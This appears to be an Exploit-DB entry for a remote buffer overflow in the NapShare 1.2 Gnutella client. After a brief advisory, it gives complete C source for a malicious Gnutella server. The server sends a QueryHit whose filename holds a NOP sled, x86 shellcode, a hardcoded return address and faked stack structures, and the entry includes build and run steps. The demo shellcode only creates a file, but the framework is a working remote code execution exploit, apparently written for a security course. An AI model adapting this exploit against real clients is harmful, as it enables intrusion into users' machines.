NapShare 1.2 - Remote Buffer Overflow (1)

EDB-ID:

24856




Platform:

Linux

Date:

2004-12-06


// source: https://www.securityfocus.com/bid/11967/info

It is reported that NapShare is susceptible to a remote buffer overflow vulnerability. This is due to a failure of the application to properly bounds check user-supplied data prior to copying it to a fixed-size memory buffer.

Attackers running malicious Gnutella servers are reportedly able to exploit this vulnerability to execute arbitrary code in the context of the vulnerable application.

Version 1.2 of NapShare is reported susceptible. Other versions may also be affected.

/*
 * napshare_srv.c
 * 2004.12.06
 * Bartlomiej Sieka
 *
 * This program generates the injection vector used to exploit a buffer
 * overflow in napshare version 1.2 (file auto.c, function
 * auto_filter_extern.c, buffer is "filename"). Program uses a slightly
 * modified payload provided by Professor Daniel J. Bernstein in the
 * Fall 2004 MCS 494 course at UIC.
 *
 * This program should be used with the tcpserver(1) to allow a running
 * napshare client to make connections to it.
 * The recipe:
 * Issue the following commands:
 * gcc -o napshare_srv napshare_srv
 * tcpserver 0 50000 ./napshare_srv &
 * napshare
 *
 * In the napshare program do the following:
 * - Connect to peer 127.0.0.1:50000 (type the ip:port on the "gnutellaNet"
 *   screen in the text input field to the right of the "Add" button
 *   and then click "Add").
 * - Add new "extern" filter. (On the "Automation" screen input "test",
 *   "test" and "extern" into "Search", "Strings" and "Filters" input
 *   fields, respectively. Then click "Add to list".)
 * - Start the automation function. (On the "Automation" screen click
 *   on the "Start Automation" button).
 * After about 20 seconds a file called "EXPLOIT" will be created in
 * the current working directory an the napshare program will exit.
 */

#include<stdio.h>
#include<fcntl.h>
#include<arpa/inet.h>
#include<assert.h>
#include <sys/time.h>
#include <signal.h>

#define NODEBUG


/*
 * Messages used to establish a connection
 */
const char * Connect = "GNUTELLA CONNECT/";
const char * OK = 
"GNUTELLA/0.6 200 OK\r\n\
Pong-Caching: 0.1\r\n\
Accept-Encoding: deflate\r\n\
X-Locale-Pref: fr\r\n\
X-Guess: 0.1\r\n\
Content-Encoding: deflate\r\n\
X-Max-TTL: 3\r\n\
Vendor-Message: 0.1\r\n\
X-Ultrapeer-Query-Routing: 0.1\r\n\
X-Query-Routing: 0.1\r\n\
Listen-IP: 81.56.202.32:6346\r\n\
X-Ext-Probes: 0.1\r\n\
Remote-IP:.69.211.109.203\r\n\
GGEP: 0.5\r\n\
X-Dynamic-Querying: 0.1\r\n\
X-Degree: 32\r\n\
User-Agent: LameWare/9.9.7.(0xdeadbeef)\r\n\
X-Ultrapeer: True\r\n\
X-Try-Ultrapeers: 69.28.37.190.69:6348\r\n\
\r\n";

const char * End = "\r\n\r\n"; /* this is a stupid idea */


/*
 * A simple payload creating a file called "EXPLOIT",
 * based on the code provided by Daniel J. Bernstein.
 */
char code[] = {
  0x59                         /*   cx = *sp++                      */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x88, 0x41, 0x07             /*   NULL-terminate the EXPLOIT str  */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0x40                         /*   ++ax                            */
, 0xc1, 0xe0, 0x07             /*   ax <<= 7                        */
, 0x50                         /*   *--sp = ax                 0600 */
, 0xb8, 0x12, 0x34, 0x56, 0x02 /*   ax = 0x02563412                 */
, 0xc1, 0xe8, 0x18             /*   ax >>= 24                       */
, 0xc1, 0xe0, 0x08             /*   ax <<= 8                        */
, 0x50                         /*   *--sp = ax          512:O_CREAT */
, 0x51                         /*   *--sp = cx          "EXPLOITED" */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0xb0, 0x05                   /*   ax = (ax & ~255) + 5            */
, 0x50                         /*   *--sp = ax               5:open */
, 0xcd, 0x80                   /*   syscall                         */
, 0x31, 0xc0                   /*   ax ^= ax                        */
, 0x50                         /*   *--sp = ax                    0 */
, 0x40                         /*   ++ax                            */
, 0x50                         /*   *--sp = ax               1:exit */
, 0xcd, 0x80                   /*   syscall                         */
} ;


/* all output intened for the user should go here */
FILE * out_stream;


#define PING_DESCR 0x00
#define PONG_DESCR 0x01
#define PUSH_DESCR 0x40
#define QUERY_DESCR 0x80
#define QUERYHIT_DESCR 0x81

#define MAX_IV 16000
#define MAX_PAYLOAD_SIZE 16000
#define MAX_PAYLOAD_LEN 16000
#define HDR_SIZE 23
#define MSG_ID_SIZE 16

char Hdr[HDR_SIZE];
char Payload[MAX_PAYLOAD_SIZE];
char * MsgIdBogus = "%%%%____\000\000\000\000\n\n\n\n";

char MsgId[MSG_ID_SIZE];

char Ttl;
char Hops;

char c;

uint32_t Len;


int
dump_fd(int fd, unsigned count);

int
parse_query_payload(int fd, unsigned payload_len, char * criteria);

void send_ping(int fd);
void send_pong(int fd);
void send_queryhit(int fd, char *criteria, char *descr_id);

void
set_descr_hdr(char * Hdr,
	      char * msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len);

void
random_array(unsigned int n, char * array);

int
write_buf(int fd, char *buf, unsigned size);

/* XXX should this really be here...? */
uint16_t port;
uint32_t ip;
int net_out_fd;


/* send the Ping message periodically */
void timer_send_ping(int signal){
  fprintf(out_stream, "Sending Ping message\n");
  send_ping(net_out_fd);
  fflush(out_stream);
}


/***************************************************************************
 * main
 */
int
main(int argc, char * argv[]){
unsigned int seed;
  int net_in_fd = 0;
  char *msg;
  char criteria[4096];
  char c;  
  char buf[1024];
  int num_read;
  
  int net_out_fd = 1;
  struct itimerval itv;


  /* set up the local output stream */
  if((out_stream = fopen("/dev/tty", "w")) == NULL){
    perror("Can't open /dev/tty");
    /* let's use stderr instead */
    out_stream = stderr;
  }
  
  if(signal(SIGALRM, timer_send_ping) == SIG_ERR){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }
  
  itv.it_interval.tv_sec = 5;
  itv.it_interval.tv_usec = 0;  
  itv.it_value.tv_sec = 5;
  itv.it_value.tv_usec = 0;
  
  /* that stupid client closes the connection after 15 secs */
  if(setitimer(ITIMER_REAL, &itv, 0x00) == -1){
    fprintf(out_stream, "Couldn't set the signal handler");
    exit(1);
  }

  // make a connection with the client  

  // read the begining     
  num_read = read(net_in_fd, buf, sizeof(Connect));
  if(num_read != sizeof(Connect)){
    fprintf(out_stream, "Can't read \"Connect\" from the net\n");
    exit(1);
  }
  
  // maybe later compare what's read with "Connect":    if(strncpy

  // now read read everything until the final "\n\n"
  num_read = read(net_in_fd, buf, strlen(End));
  if(num_read != strlen(End)){
    fprintf(out_stream, "Connection closed before double \\n\n");
    exit(1);       
  }
  
  while(strncmp(buf, End, strlen(End)) != 0){
    fprintf(out_stream, "%s\n", buf);

    // shift the buffer by one
    int i;
    for(i = 0; i < strlen(End) - 1; i++){
      buf[i] = buf[i+1];
    }
    num_read = read(net_in_fd, &buf[strlen(End) - 1], 1);
    if(num_read != 1){
      fprintf(out_stream, "Connection closed before double \\n\n");
      exit(1);
    }
  }


  // let's connect
  write(net_out_fd, OK, strlen(OK));
  fprintf(out_stream, "Connected (hopefully)\n");

  /* Now the peer will send the OK message, read it */  
  dump_fd(net_in_fd, strlen("GNUTELLA/0.6 200 OK\r\n\r\n"));

  unsigned char payload_descr;
  unsigned payload_len;
  char payload[MAX_PAYLOAD_LEN];
  char descr_id[16];

  int queryhit_sent = 0;

  while(1){
    if(!read_header(net_in_fd,
		    &payload_descr,
		    &payload_len,
		    descr_id)) break;
    assert(payload_len <= MAX_PAYLOAD_LEN);
    switch(payload_descr){
    case PING_DESCR:
      /* the payload lenght should be zero */
      fprintf(out_stream, "Received a Ping message\n");
      if(payload_len != 0){
	fprintf(out_stream, "Payload for Ping > 0 !\n");
      }
      fprintf(out_stream, "Sending a Pong message\n");
      send_pong(net_out_fd);      
      break;
    case PONG_DESCR:
    /* show the payload */
      fprintf(out_stream, "Received a Pong message\n");
      if(!dump_fd(net_in_fd, payload_len)) break;
      break;      
    case QUERY_DESCR:
      /* parse the payload */
      fprintf(out_stream, "Received a Query message\n");
      if(!parse_query_payload(net_in_fd, payload_len, criteria)) break;
      if(!queryhit_sent){
	queryhit_sent = 1;
	fprintf(out_stream, "Sending a QueryHit message\n");
	send_queryhit(net_out_fd, criteria, descr_id);
	fprintf(out_stream, "QueryHit sent\n");
      } else {
	fprintf(out_stream, "NOT sending a QueryHit message\n");		
      }
      break;
    case PUSH_DESCR:
      /* show the payload */
      fprintf(out_stream, "Received a Push message\n");
      if(!dump_fd(net_in_fd, payload_len)) break;
      break;      
    }
  }
}/* main() ****************************************************************/


/*
 *
 * function definitions
 *
 */


/***************************************************************************
 * Write a Ping message into fd
 */
void
send_ping(int fd){
  char * msg_id;
  /* get a random message id */
  random_array(MSG_ID_SIZE, MsgId);
  msg_id = MsgId;
  Len = 0;
  set_descr_hdr(Hdr, msg_id, PING_DESCR, rand() % 256, rand() % 256, Len);
  write_buf(fd, Hdr, HDR_SIZE);
}/* send_ping() ***********************************************************/


/***************************************************************************
 * Write a Pong message into fd
 */
void
send_pong(int fd){
  char * msg_id;
  unsigned payload_len;

  ip = 0x0100007f;
  port = 50000;

  /* get a random message id */
  random_array(MSG_ID_SIZE, MsgId);
  msg_id = MsgId;
  Len = 14;

  set_descr_hdr(Hdr, msg_id, PONG_DESCR, 5, 0, Len);
  if(!write_buf(fd, Hdr, HDR_SIZE)){
    fprintf(out_stream, "send_pong(): couldn't send header\n");
  }

  /*
   * Payload[0]-[1]: port number
   * Payload[2]-[5]: IP (little endian)
   * Payload[6]-[9]: # files shared
   * Payload[10]-[13]: # kilobytes shared
   */

  payload_len = Len;
  random_array(payload_len, Payload);
  memcpy(&Payload[0], &port, 2);
  memcpy(&Payload[2], &ip, 4);
  if(!write_buf(fd, Payload, payload_len)){
    fprintf(out_stream, "send_pong(): couldn't send payload\n");
  }
}/* send_pong() ***********************************************************/


/***************************************************************************
 * Write a QueryHit message into fd
 * criteria: null-terminated search criteria
 * descr_id: descr. of the Query msg (16 bytes)
 */
void
send_queryhit(int fd, char *criteria, char *descr_id){

  unsigned payload_len;
  char number_hits = 1;
  uint16_t speed;
  char servent_id[16];
  char result_set[MAX_IV];
  unsigned result_set_len;
  ip = 0x7f000001;
  port = 60000;

  result_set_len = set_result_set(result_set, criteria);

  assert(result_set_len <= MAX_IV);

  /* size
   * 1 : Payload[0]: number if hits
   * 2 : Payload[1-2]: port
   * 4 : Payload[3-6]: ip
   * 4 : Payload[7-10]: speed kb/s
   * ? : Payload[11-n-1]: result set
   * 16: Payload[n-n+16] servenet it
   */
  payload_len = 1 + 2 + 4 + 4 + result_set_len + 16;

  set_descr_hdr(Hdr, descr_id, QUERYHIT_DESCR, 5, 0, payload_len);
  if(!write_buf(fd, Hdr, HDR_SIZE)){
    fprintf(out_stream, "send_pong(): couldn't send header\n");
  }

  random_array(payload_len, Payload);
  memcpy(&Payload[0], &number_hits, 1);
  memcpy(&Payload[1], &port, 1);
  memcpy(&Payload[3], &ip, 4);
  memcpy(&Payload[7], &speed, 4);
  memcpy(&Payload[11], result_set, result_set_len);
  memcpy(&Payload[11 + result_set_len], servent_id, 16);
  
  if(!write_buf(fd, Payload, payload_len)){
    fprintf(out_stream, "send_pong(): couldn't send payload\n");
  }
}/* send_queryhit() *******************************************************/


/***************************************************************************
 * Copy the parts of the Descriptor Header to the msg buffer
 */
void
set_descr_hdr(char * msg,
	      char *msg_id,
	      char descr,
	      char ttl, 
	      char hops,
	      uint32_t len){

  uint32_t len_net = htonl(len);
  
  memcpy(msg, msg_id, MSG_ID_SIZE);
  memcpy(msg + MSG_ID_SIZE, &descr, 1);
  memcpy(msg + MSG_ID_SIZE + 1, &ttl, 1);
  memcpy(msg + MSG_ID_SIZE + 2, &hops, 1);
  /* some problems with endianess... */
  /*  memcpy(msg + MSG_ID_SIZE + 3, &len_net, sizeof(uint32_t)); */
  memcpy(msg + MSG_ID_SIZE + 3, &len, sizeof(uint32_t)); 
}/* set_descr_header() ****************************************************/


/***************************************************************************
 * Create a random array of n bytes at array (assume memory is allocated)
 */
void
random_array(unsigned int n, char * array){
  int i;
  for(i = 0; i < n; i++){
    *(array + i) = rand() % 256;
  } 
}/* random_array() *********************************************************/


/***************************************************************************
 * write a buffer
 */
int
write_buf(int fd, char *buf, unsigned size){
  int ret;

#ifdef DEBUG
  int i;
  fprintf(out_stream, "write_buf(): writing %d bytes:\n", size);
  for(i = 0; i < size; i++)
    fprintf(out_stream, "%.2hhx ", buf[i]);
  fprintf(out_stream, "\n");
#endif
  
  if((ret = write(fd, buf, size)) == -1){
    perror("write_buf(): write failed");
    return 0;
  } else if(ret < size){
    /* couldn't write the whole thing. hmm... */
    fprintf(out_stream, "Written only %d bytes out of %d\n", ret, size);
    return 0;
  }
  return 1;
}/* write_buf() ***********************************************************/



int
dump_fd(int fd, unsigned count){
  int i;
  char c;
  for(i = 0; i < count; i ++){
    if(read(fd, &c, 1) != 1) {perror("Can't read"); return 0;};
    fprintf(out_stream, "%.3d: 0x%.2hhx %c\n", i+1, c, c);
  }
  return 1;
}




/***************************************************************************
 * Reads a Gnutella hader from the given file descriptor.
 * payload_descr: set to the descritor read
 * payload_len: set to the lenght read
 * returns 1 if there were enough bytes read, 0 otherwise
 */
int
read_header(int net_in_fd,
	    char * payload_descr,
	    unsigned int * payload_len,
	    char * descr_id){
  int ret;
  char header[23];
  ret = read(net_in_fd, header, 23);
  if(ret == -1){
    fprintf(out_stream, "read_header(): read() failed\n");
  } 
  if(ret < 23){
    fprintf(out_stream, "can't read the full header, read %d bytes\n", ret);
    return 0;
  }    
  /* header[0]-[15] : message id, or descriptor id */
  /* header[16]     : payload descriptor */
  /* header[17]     : ttl */
  /* header[18]     : Hops */
  /* header[19]-[22]: payload lenght */
  memcpy(descr_id, header, 16);

  *payload_descr = header[16];

  /* Gnutella 0.4 specs says that stuff is little-endian, but it lies */
  /*  *payload_len = ntohl(*(uint32_t *)&header[19]); */
  *payload_len = *(uint32_t*)&header[19];
  fprintf(out_stream, "Payload descr : 0x%.2hhx\n", header[16]);
  fprintf(out_stream, "TTL           : 0x%.2hhx\n", header[17]);
  fprintf(out_stream, "Hops          : 0x%.2hhx\n", header[18]);
  fprintf(out_stream, "Payload len(b): 0x%.2hhx", header[19]);
  fprintf(out_stream, "%.2hhx", header[20]);
  fprintf(out_stream, "%.2hhx", header[21]);
  fprintf(out_stream, "%.2hhx\n", header[22]);
  fprintf(out_stream, "Payload len   : %d\n", *payload_len);
  return 1;
}/* read_header() *********************************************************/


/***************************************************************************
 * payload[0-1]: min speed in kb/sec
 * payload[2-payload_len-1]: search criteria, null terminated
 *
 */
int
parse_query_payload(int fd, unsigned payload_len, char * criteria){
  int i;
  char payload[MAX_IV];
  if(read(fd, payload, payload_len) != payload_len) return 0;

  fprintf(out_stream, "speed %d\n", payload[0] + 0xff * payload[1]);
  if(payload[payload_len - 1] != 0x00){
    fprintf(out_stream, "parse_query_payload(): serach criteria not null\
 termintaed (%.2hhx), fixing it", payload[payload_len - 1]);
    payload[payload_len - 1] = 0x00;
  }
  assert(payload_len > 2);
  strcpy(criteria, &payload[2]);
  fprintf(out_stream, "search criteria: %s\n", criteria);
  return 1;
}/* parse_query_payload() *************************************************/


/***************************************************************************
 * builds the result_set for the QueryHit message. The file name
 * is where the IV should go.
 * result_set[0-3] : file index
 * result_set[4-7] : file size in bytes
 * resutl_set[8-?] : 0x0000 terminated file name
 * result_set: store the result set there (mem already allocated)
 * criteria: serach criteria from the Query msg - in case the peer
 * would some checks to see if the file name in the QueryHit corelates
 * with the criteria sent. napshare doesn't do anything like this, so
 * this parameter is not used.
 * returns: the size of the result set
 */
int
set_result_set(char *result_set, char *criteria){
  char iv[MAX_IV];
  char *index = "iiii";
  char *size = "ssss";
  char doublenull[] = {0x00, 0x00};
  char *s;
  char *end;
  char *tmp;
  int i;

  s = iv;
  /* we need 10736 - 4 bytes to overflow the ip */
  end = s + 10736 - 4;

  /* let's build the injection vector */
  /* if will be stored in the filename array, &filename = 0xbfbfbc50 */
  
  /* nop sled */
  for(i = 0; i < 128; i ++){
    *(s++) = 0x90;
  }

  /* payload */
  *(s++) = 0xeb;
  *(s++) = sizeof(code);
  for (i = 0; i < sizeof code; i++)
    *(s++) = code[i];
  *(s++) = 0xe8;
  *(s++) = 251 - sizeof code;
  *(s++) = 0xff;
  *(s++) = 0xff;
  *(s++) = 0xff;
  tmp = "EXPLOIT";
  while(*(tmp)) *(s++) = *(tmp++);

  /* XXX: these address calculations are incorrect, but it works anyway */
  /* we should be now at 0xbfbfbc80 + s-iv */
  /* let's get to a 0xff boundary */
  while((s - iv + 0xbfbfbc80) < 0xbfbfbf00 ) *(s++) = (s-end) % 24 + 65;
  
  /*
   * simutale the rc and r structures on the stack - to prevent
   * segmentation faults in g_snprintf() and strcpy()
   */  
  /* 0xbfbfbf00 - address of the rc stucture */
  for(i = 0; i < 63; i++){
    *(s++) = i ? i*4 : 0xff;
    *(s++) = 0xbf;
    *(s++) = 0xbf;
    *(s++) = 0xbf;    
  }
    
  while(s != end) *(s++) = (s-end) % 24 + 65;
  
  /* iv starts at 0xbfbfbc50 */
  /* smasher = 0xbfbfbcc0 */
  *(s++) = 0xc0;
  *(s++) = 0xbc;
  *(s++) = 0xbf;
  *(s++) = 0xbf;

  /*
   * Need to preserve following function call arguments to survive until
   * return from the function: rc, r, string. 
   */

  /* rc
   * rc is allocated on the heap and its address varies from execution
   * to execution. Let's just point it to an address on the stack that
   * we control.
   */
  *(s++) = 0x30;
  *(s++) = 0xbf;
  *(s++) = 0xbf;
  *(s++) = 0xbf;

  /* r
   * r's address doesn't change and it's 0x8102a00 - can't send it though,
   * because of the 0x00 byte. Let us use a stack location then. (Note
   * that we could probably use the strcpy() to write that 0x00 byte).
   */
  *(s++) = 0x30;
  *(s++) = 0xbf;
  *(s++) = 0xbf;
  *(s++) = 0xbf;
  
  /* string
   * string's address doesn't change and it's 0x08097a20 - let's just
   * preserve it.
   */  
  *(s++) = 0x20;
  *(s++) = 0x7a;
  *(s++) = 0x09;
  *(s++) = 0x08;
  
  /* null-terminate for the strlen() below  to work */
  *s = 0x00;

  /* we have all the parts, build the result set */
  memcpy(&result_set[0], index, 4);
  memcpy(&result_set[4], size, 4);
  memcpy(&result_set[8], iv, strlen(iv));
  memcpy(&result_set[8 + strlen(iv)], doublenull, 2);

  return 4 + 4 + strlen(iv) + 2;
}/* set_result_set() ******************************************************/